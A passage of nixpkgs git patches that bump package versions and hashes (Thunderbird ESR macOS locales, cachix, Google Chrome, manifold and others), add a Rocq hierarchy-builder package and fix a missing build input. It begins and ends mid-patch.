+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ja-JP-mac/Thunderbird%20128.11.0esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "265eaf1f69d69baad642450e9e10855d23713533c61dc4a8122aa4d1f82b886e";
+      sha256 = "a0bf0b932bd66b0c9e736576d60eae8d15c5ad034693ffba6d255916afa6e123";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ka/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ka/Thunderbird%20128.11.0esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "43fa6cbdd7003ca5c553fa719ef997a55d030bef4477fa6e070be8ea5ab7c34c";
+      sha256 = "80f0f47724169f8e5ee992aea5eb91828d76acb46c981a4ad1623ad002a88ec4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/kab/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/kab/Thunderbird%20128.11.0esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "bbef2ca1a0b93856a5804f493f99e9cdb48d997951c7a26ea8d9653d1a137caa";
+      sha256 = "34c78ee1a34c8fdbc2758af1e5a453a7c09a39e8d0ea5738e9b397e8aab74d46";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/kk/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/kk/Thunderbird%20128.11.0esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "029111db6f6e2a4743203a199642d79b2bf53821b80cba64536f0d3b7b69252d";
+      sha256 = "4b06bfae6288320843745a9f14a09f9215f83a534b570f0caf18c167aa2c639d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ko/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ko/Thunderbird%20128.11.0esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "4928a32a552ed8cc06290688bd408e8210d624576bee90a0f815803807923dcd";
+      sha256 = "2aad2ccce1383b396ae8dd5d40a07daa5fedbac4b7d878b7a157b4f920e75b5f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/lt/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/lt/Thunderbird%20128.11.0esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "c25faed290d8854a541f045847b6bd1c84566e83a8dc3e8c58fec37e227fd8df";
+      sha256 = "c79d788688778a912b57e5f1e05798bb96903a333985cabbb3963bcce6723543";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/lv/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/lv/Thunderbird%20128.11.0esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "2a6a0ca0d81aad713836bc869835912fc15fc48d39710e6d183957c4ff1a3cb1";
+      sha256 = "d84936a74f0a888f1da82eb0ccaf397c9f433d6c5faf517fd5bcc409e2ea31a0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ms/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ms/Thunderbird%20128.11.0esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "2de77b4ed730b3a4e45e46e8a32b21d8324a7eb65aff02c80c00d56c204b5dca";
+      sha256 = "15e3f97f44294668d22cd96a346dbd22c5d64c2526593872f6ca8412d634a9a1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/nb-NO/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/nb-NO/Thunderbird%20128.11.0esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "ad9c66bc8743fd389d8ee8267f77a5ef2490ec5ccf8ec779d3476286771a6ab3";
+      sha256 = "87823062cd2d43536018305dc0425e8b604f4df14336e54751ac1fee4a5be79e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/nl/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/nl/Thunderbird%20128.11.0esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "f4de8cb671f64ecb48824c47f289be3913939f9b9983be396a85445be1dbd3b7";
+      sha256 = "02ece8ecee3d231bf566f6939a0388d78d0fa717a80f4fb94713db92870f4f67";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/nn-NO/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/nn-NO/Thunderbird%20128.11.0esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "331290030cfd61b5e2989f53a05772f1a240a4ee3940371ebabb95ced714f105";
+      sha256 = "b5b1c602b497bfad1b48842c06e24ffd64d032183d354811f5a791e652505373";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/pa-IN/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pa-IN/Thunderbird%20128.11.0esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "a461a8fff8c71a3a2b1b4515c56f478500cbfc14c658a22605393e7e84b122b0";
+      sha256 = "92a253aed7e42efed4a85adf74f8e6dde0208a94bd3f887219f0b29075d26ba8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/pl/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pl/Thunderbird%20128.11.0esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "89c236463e94ef52dabef54509ff06fd65d428840673b27d50aa9e942654f819";
+      sha256 = "966febf37cf9c2da85ffac82d7da03fc482a6135e25dbf78800401239215448e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/pt-BR/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pt-BR/Thunderbird%20128.11.0esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "d4e7bd32a5631194269fd4bec820f1ada537b4ac9b52a0d591924c18ea56e39d";
+      sha256 = "0fcd133b82aeffcb7814142b88ff1aba12af813374a24fa3d85c62d62077554a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/pt-PT/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/pt-PT/Thunderbird%20128.11.0esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "8b70f7d6d1e42ccb19cf444177feb5076179db00be8edae67228b50b9fe25ed2";
+      sha256 = "3b171a3b97807a81149e7d27572318056fce2fb6872f40f354e651624ff5fa53";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/rm/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/rm/Thunderbird%20128.11.0esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "cd6a878f277c14c8676a924457f9ec34fb8814424bc07ba315ac0da61cffdf75";
+      sha256 = "76edae404bd60f35f2752d6098c1df55b124520c15246e5eb173676ab4e4b915";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ro/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ro/Thunderbird%20128.11.0esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "a9d7c416d1c5088e30c3e29fcdddeeb649853527f29f02c93640d69225904b25";
+      sha256 = "e3167f11923f5fc2c5dc985dedf5daaf029b8097d9a7f43417b39911708ce27f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/ru/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/ru/Thunderbird%20128.11.0esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "db02e46e3e43e48993fc83b325510ddcd06a24f0eccf854ccd58dd2543ab54a9";
+      sha256 = "5bcb97eb90761a83d1c68049d7f98ba1232d93996cafc2c175001c720bf7ae1c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/sk/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sk/Thunderbird%20128.11.0esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "efb821a174b4d6fe67b47bf27fa08fb2a8a73e4de91d1c711fad1cb9daedfefd";
+      sha256 = "bbc0a8484ba2356bdbf3bda13f15c72e502acfa848d96d802ce045334ed27584";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/sl/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sl/Thunderbird%20128.11.0esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "0cb4bd37456a94e86080e30273e4adc3b99d0a99ab48e9cc21dc418dbe586c26";
+      sha256 = "883034d9eaa9a0f34742fa3d51f0499625644b1400bc3a5e17e444c1d84dff9d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/sq/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sq/Thunderbird%20128.11.0esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "4c6b8553cebe0aa7ad69cefe62dad07a41903a538fd0dfaabe8fefe683e0784c";
+      sha256 = "bbe0490ea11d4cf67daa3d200b017b5c023d15fccd0e9055af55145a414fe585";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/sr/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sr/Thunderbird%20128.11.0esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "c8da386ae81e591dcc21cbcb7e551213e0b708d9e2afdfdd37de748924dcb738";
+      sha256 = "abd1d84d5e15bb544fd088890660d8541f7f53f969818415a6029546d62c1ab3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/sv-SE/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/sv-SE/Thunderbird%20128.11.0esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "2be8d7b3b3ea9e01f58e51c6fe57ee9d03e808af76f6ddd2245dc8ab168732da";
+      sha256 = "f6162e8a7ab8ec395c41d5ae2c12a2e7115248dc67d525577d6a70c55d7f4568";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/th/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/th/Thunderbird%20128.11.0esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "c5d80526f220ddd839c99520c71998e7bcdf7a895420e9b620ce8c2ea35167f0";
+      sha256 = "c0c0e65f1cd3de690a94b8a018489ba2b398d26e4475e084f5756b533c847ba6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/tr/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/tr/Thunderbird%20128.11.0esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "e7fa77ee37073102a567de924ca861eaf85ca0acc07ca30dc206fd84c206f9bd";
+      sha256 = "aa8d919937da919d67f22bed23432393f1c14764a8a34e0da58d6df33ee09cdd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/uk/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/uk/Thunderbird%20128.11.0esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "bae90b1cea274b5a82d65e136106bb862790811801d9a79638f45bdf60d01836";
+      sha256 = "e317aa1da153f12abac7938838f3b902859514974e416ff382f9431dfa79ce1f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/uz/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/uz/Thunderbird%20128.11.0esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "9c2ce9163edc102c8a024418d8e173619c345ea8c293a3c6fe3e9d88cc75717a";
+      sha256 = "102bba7d14f01947d1a4fb7e3f9b69133faaf7bdba54d129477fa6bddafd28c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/vi/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/vi/Thunderbird%20128.11.0esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "7ed5db39e6cd01d14bcac8b19f57f35e13dc6f18bf2be0544b397b06ca919677";
+      sha256 = "80162191a22406dcf6613bf09c7eb6dfdb6b83799dba528a4b09b0d4b955a6bc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/zh-CN/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/zh-CN/Thunderbird%20128.11.0esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "257172a2f75feeae7d182c1104b8cc7638121f2cb5f4115566398555d69f90ce";
+      sha256 = "f2a12e4fbd3b0afe1739dc3e70681943e5dde3cd7244b701fce8c7ec93c4ef1f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.10.2esr/mac/zh-TW/Thunderbird%20128.10.2esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/128.11.0esr/mac/zh-TW/Thunderbird%20128.11.0esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "7e06ef23770ce86947bb0953c2594ae0ef2ab517a9ba44534c05507fb3081007";
+      sha256 = "e977bc3a7dd0e8d0298241a418fd081db651524e6dd956e1713c80f20a4c58c7";
     }
   ];
 }

From f9f94aa53e0a7290be3e9836f34afc02e5a0c1f4 Mon Sep 17 00:00:00 2001
From: Pierre Roux <pierre.roux@onera.fr>
Date: Fri, 30 May 2025 17:15:35 +0200
Subject: [PATCH 0519/4511] rocqPackages.hierarchy-builder: init at 1.9.1

(cherry picked from commit 84667ad2999f896357e5baee1698b3543ec94161)
---
 .../coq-modules/hierarchy-builder/default.nix | 17 ++++++++
 .../hierarchy-builder/default.nix             | 40 +++++++++++++++++++
 pkgs/top-level/rocq-packages.nix              |  1 +
 3 files changed, 58 insertions(+)
 create mode 100644 pkgs/development/rocq-modules/hierarchy-builder/default.nix

diff --git a/pkgs/development/coq-modules/hierarchy-builder/default.nix b/pkgs/development/coq-modules/hierarchy-builder/default.nix
index 3bd52d63accb..07064760975e 100644
--- a/pkgs/development/coq-modules/hierarchy-builder/default.nix
+++ b/pkgs/development/coq-modules/hierarchy-builder/default.nix
@@ -2,6 +2,7 @@
   lib,
   mkCoqDerivation,
   coq,
+  rocqPackages,
   stdlib,
   coq-elpi,
   version ? null,
@@ -96,4 +97,20 @@ hb.overrideAttrs (
   // lib.optionalAttrs (o.version != null && o.version == "1.8.1") {
     propagatedBuildInputs = o.propagatedBuildInputs ++ [ stdlib ];
   }
+  # this is just a wrapper for rocqPackages.hierarchy-builder for Rocq >= 9.0
+  //
+    lib.optionalAttrs
+      (coq.version != null && (coq.version == "dev" || lib.versions.isGe "9.0" coq.version))
+      {
+        configurePhase = ''
+          echo no configuration
+        '';
+        buildPhase = ''
+          echo building nothing
+        '';
+        installPhase = ''
+          echo installing nothing
+        '';
+        propagatedBuildInputs = o.propagatedBuildInputs ++ [ rocqPackages.hierarchy-builder ];
+      }
 )
diff --git a/pkgs/development/rocq-modules/hierarchy-builder/default.nix b/pkgs/development/rocq-modules/hierarchy-builder/default.nix
new file mode 100644
index 000000000000..7987c1c6373a
--- /dev/null
+++ b/pkgs/development/rocq-modules/hierarchy-builder/default.nix
@@ -0,0 +1,40 @@
+{
+  lib,
+  mkRocqDerivation,
+  rocq-core,
+  rocq-elpi,
+  version ? null,
+}:
+
+let
+  hb = mkRocqDerivation {
+    pname = "hierarchy-builder";
+    owner = "math-comp";
+    inherit version;
+    defaultVersion =
+      with lib.versions;
+      lib.switch rocq-core.rocq-version [
+        {
+          case = range "9.0" "9.0";
+          out = "1.9.1";
+        }
+      ] null;
+    release."1.9.1".sha256 = "sha256-AiS0ezMyfIYlXnuNsVLz1GlKQZzJX+ilkrKkbo0GrF0=";
+    releaseRev = v: "v${v}";
+
+    propagatedBuildInputs = [ rocq-elpi ];
+
+    meta = with lib; {
+      description = "High level commands to declare a hierarchy based on packed classes";
+      maintainers = with maintainers; [
+        cohencyril
+        siraben
+      ];
+      license = licenses.mit;
+    };
+  };
+in
+hb.overrideAttrs (
+  o:
+  lib.optionalAttrs (o.version == "1.9.1") { installFlags = [ "DESTDIR=$(out)" ] ++ o.installFlags; }
+)
diff --git a/pkgs/top-level/rocq-packages.nix b/pkgs/top-level/rocq-packages.nix
index 2c684ba39527..25da5b7ac389 100644
--- a/pkgs/top-level/rocq-packages.nix
+++ b/pkgs/top-level/rocq-packages.nix
@@ -37,6 +37,7 @@ let
       mkRocqDerivation = lib.makeOverridable (callPackage ../build-support/rocq { });
 
       bignums = callPackage ../development/rocq-modules/bignums { };
+      hierarchy-builder = callPackage ../development/rocq-modules/hierarchy-builder { };
       rocq-elpi = callPackage ../development/rocq-modules/rocq-elpi { };
       stdlib = callPackage ../development/rocq-modules/stdlib { };
 

From ba9d9df4bfe4cbcbe440b095970229f40e726792 Mon Sep 17 00:00:00 2001
From: Sander <hey@sandydoo.me>
Date: Mon, 2 Jun 2025 20:47:20 +0200
Subject: [PATCH 0520/4511] cachix: 1.7.8 -> 1.7.9

(cherry picked from commit 5a453a8a0da43b194fc81602c7d1820345dd982d)
---
 .../haskell-modules/configuration-common.nix         | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-common.nix b/pkgs/development/haskell-modules/configuration-common.nix
index 5ffc77f50ff3..18552c124d65 100644
--- a/pkgs/development/haskell-modules/configuration-common.nix
+++ b/pkgs/development/haskell-modules/configuration-common.nix
@@ -544,24 +544,24 @@ self: super:
 
   # Manually maintained
   cachix-api = overrideCabal (drv: {
-    version = "1.7.8";
+    version = "1.7.9";
     src = pkgs.fetchFromGitHub {
       owner = "cachix";
       repo = "cachix";
-      tag = "v1.7.8";
-      hash = "sha256-pb5aYkE8FOoa4n123slgHiOf1UbNSnKe5pEZC+xXD5g=";
+      tag = "v1.7.9";
+      hash = "sha256-R0W7uAg+BLoHjMRMQ8+oiSbTq8nkGz5RDpQ+ZfxxP3A=";
     };
     postUnpack = "sourceRoot=$sourceRoot/cachix-api";
   }) super.cachix-api;
   cachix = (
     overrideCabal
       (drv: {
-        version = "1.7.8";
+        version = "1.7.9";
         src = pkgs.fetchFromGitHub {
           owner = "cachix";
           repo = "cachix";
-          tag = "v1.7.8";
-          hash = "sha256-pb5aYkE8FOoa4n123slgHiOf1UbNSnKe5pEZC+xXD5g=";
+          tag = "v1.7.9";
+          hash = "sha256-R0W7uAg+BLoHjMRMQ8+oiSbTq8nkGz5RDpQ+ZfxxP3A=";
         };
         postUnpack = "sourceRoot=$sourceRoot/cachix";
       })

From 7a10ae514aa371eed9177b0dff330d369ea41bd4 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Mon, 2 Jun 2025 15:23:39 +0200
Subject: [PATCH 0521/4511] evillimiter: add missing input

(cherry picked from commit 4e466b224d874ae7b7c8fa006f7a11463b8f79cd)
---
 pkgs/by-name/ev/evillimiter/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/ev/evillimiter/package.nix b/pkgs/by-name/ev/evillimiter/package.nix
index b5d79f882ce7..5909e8f74468 100644
--- a/pkgs/by-name/ev/evillimiter/package.nix
+++ b/pkgs/by-name/ev/evillimiter/package.nix
@@ -26,6 +26,7 @@ python3Packages.buildPythonApplication rec {
     iptables
     netaddr
     netifaces
+    setuptools
     scapy
     terminaltables
     tqdm

From a7e155c55dd13344f88fa8823ab58f4a59aa4993 Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Tue, 3 Jun 2025 13:33:48 +0100
Subject: [PATCH 0522/4511] google-chrome: 137.0.7151.55 -> 137.0.7151.68

(cherry picked from commit 88a0e9bc989fa0be57327a05231cfc97e1cf7ee5)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index eb061b7902c4..22e07fc21e39 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.55";
+    version = "137.0.7151.68";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-Q4zf60OQN/2NRozssVrnmbYWGRm05Mt2/6LozfENzgM=";
+      hash = "sha256-TBJ6XOnxrP/+Gnd2Y3/aYbRG5N+b7dKS/u80ZK4E+MM=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.56";
+    version = "137.0.7151.69";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/acps6il5fco5kfidgoaidec3sdha_137.0.7151.56/GoogleChrome-137.0.7151.56.dmg";
-      hash = "sha256-nFk2qg8+9gipnG+4u1sRO4Uq5Iv4TVvxaTETHzF+huw=";
+      url = "http://dl.google.com/release2/chrome/aciew3ymglq2kjdorwr226xwu5iq_137.0.7151.69/GoogleChrome-137.0.7151.69.dmg";
+      hash = "sha256-5WU8ZD/+uyNsAhPR0fSR9FkFleKMakUduErm49rMRcI=";
     };
 
     dontPatch = true;

From 48f5a9c56a386a888b797d9ba35517d29e62898d Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 18 May 2025 21:12:00 +0000
Subject: [PATCH 0523/4511] matrix-synapse-plugins.synapse-http-antispam: 0.3.0
 -> 0.4.0

(cherry picked from commit c1d1a9dc273b62c9906d5d5b5165bad32e6f0aee)
---
 .../plugins/synapse-http-antispam.nix                         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix
index f09938a98ec7..35cc6fcf54a3 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/plugins/synapse-http-antispam.nix
@@ -10,14 +10,14 @@
 
 buildPythonPackage rec {
   pname = "synapse-http-antispam";
-  version = "0.3.0";
+  version = "0.4.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "maunium";
     repo = "synapse-http-antispam";
     tag = "v${version}";
-    hash = "sha256-wWm23+3o+/nx3xGkyShJm28mDPTbOhPbKgW3WfuB0Ng=";
+    hash = "sha256-YvgHIZ5Kr9WsX30QN8W5OJ4sxLB7EsLqUmCye3x+JQA=";
   };
 
   build-system = [ hatchling ];

From d68067a5197026f3cb4c203d950970237fc04228 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 19:44:08 +0000
Subject: [PATCH 0524/4511] openterface-qt: 0.3.12 -> 0.3.14

(cherry picked from commit 6962d391678eba678a1e196280d48be9ea880fab)
---
 pkgs/by-name/op/openterface-qt/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/openterface-qt/package.nix b/pkgs/by-name/op/openterface-qt/package.nix
index 543c192aa972..e80e78732f9e 100644
--- a/pkgs/by-name/op/openterface-qt/package.nix
+++ b/pkgs/by-name/op/openterface-qt/package.nix
@@ -22,12 +22,12 @@ let
 in
 stdenv.mkDerivation (final: {
   pname = "openterface-qt";
-  version = "0.3.12";
+  version = "0.3.14";
   src = fetchFromGitHub {
     owner = "TechxArtisanStudio";
     repo = "Openterface_QT";
     rev = "${final.version}";
-    hash = "sha256-VB2DTfm6X5xY+bGQBq9VXe6boJJTDxBkPEdLvPbd71g=";
+    hash = "sha256-HHHLQwycnMme3Ch538ram6tkG3OYUcd4NFCUcL4vIjk=";
   };
   nativeBuildInputs = [
     copyDesktopItems

From 56ba435fce4a2386c551090e192c6016ec87c3e5 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Fri, 16 May 2025 13:44:49 +0200
Subject: [PATCH 0525/4511] python313Packages.manifold3d: 3.0.1 -> 3.1.0

Changelog: https://github.com/elalish/manifold/releases/tag/v3.1.0
(cherry picked from commit 08716b7a1a5e9ed65722f306dbdb86e9f71768b5)
---
 pkgs/development/python-modules/manifold3d/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/python-modules/manifold3d/default.nix b/pkgs/development/python-modules/manifold3d/default.nix
index f2394afc9631..6b089117fcdb 100644
--- a/pkgs/development/python-modules/manifold3d/default.nix
+++ b/pkgs/development/python-modules/manifold3d/default.nix
@@ -17,14 +17,14 @@
 
 buildPythonPackage rec {
   pname = "manifold3d";
-  version = "3.0.1";
+  version = "3.1.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "elalish";
     repo = "manifold";
     tag = "v${version}";
-    hash = "sha256-wbeWxAeKyqjEPemc2e5n357gwq83pQlASOvMd0ZCE7g=";
+    hash = "sha256-GymlaLs6LIG/252suYnFrgeT1jwrYeIXMo++LCjFHD4=";
   };
 
   dontUseCmakeConfigure = true;
@@ -62,7 +62,7 @@ buildPythonPackage rec {
   meta = {
     description = "Geometry library for topological robustness";
     homepage = "https://github.com/elalish/manifold";
-    changelog = "https://github.com/elalish/manifold/releases/tag/v${version}";
+    changelog = "https://github.com/elalish/manifold/releases/tag/${src.tag}";
     license = lib.licenses.asl20;
     maintainers = with lib.maintainers; [
       pbsds

From 1d1c395ebe0e25ca7a2c31b15a5a8b0e81280ed8 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Fri, 16 May 2025 13:46:10 +0200
Subject: [PATCH 0526/4511] manifold: 3.0.1 -> 3.1.0

Diff: https://github.com/elalish/manifold/compare/v3.0.1...v3.1.0
(cherry picked from commit 449a741a6d369056cdac3dc9a402099b72541aaa)
---
 pkgs/by-name/ma/manifold/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/manifold/package.nix b/pkgs/by-name/ma/manifold/package.nix
index 0b185bc3b041..4a0edc05a35e 100644
--- a/pkgs/by-name/ma/manifold/package.nix
+++ b/pkgs/by-name/ma/manifold/package.nix
@@ -11,13 +11,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "manifold";
-  version = "3.0.1";
+  version = "3.1.0";
 
   src = fetchFromGitHub {
     owner = "elalish";
     repo = "manifold";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-wbeWxAeKyqjEPemc2e5n357gwq83pQlASOvMd0ZCE7g=";
+    hash = "sha256-GymlaLs6LIG/252suYnFrgeT1jwrYeIXMo++LCjFHD4=";
   };
 
   nativeBuildInputs = [ cmake ];

From 212312400cba8de0317eaa65616096f866a5dbb7 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Fri, 30 May 2025 20:15:03 +0200
Subject: [PATCH 0527/4511] python313Packages.opensfm: disable flaky test

(cherry picked from commit 8a9641f84e37a9d3626fb08b8e8aa0568c78ab8f)
---
 pkgs/development/python-modules/opensfm/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/development/python-modules/opensfm/default.nix b/pkgs/development/python-modules/opensfm/default.nix
index c7b8f3f7a368..58f6003d7c5a 100644
--- a/pkgs/development/python-modules/opensfm/default.nix
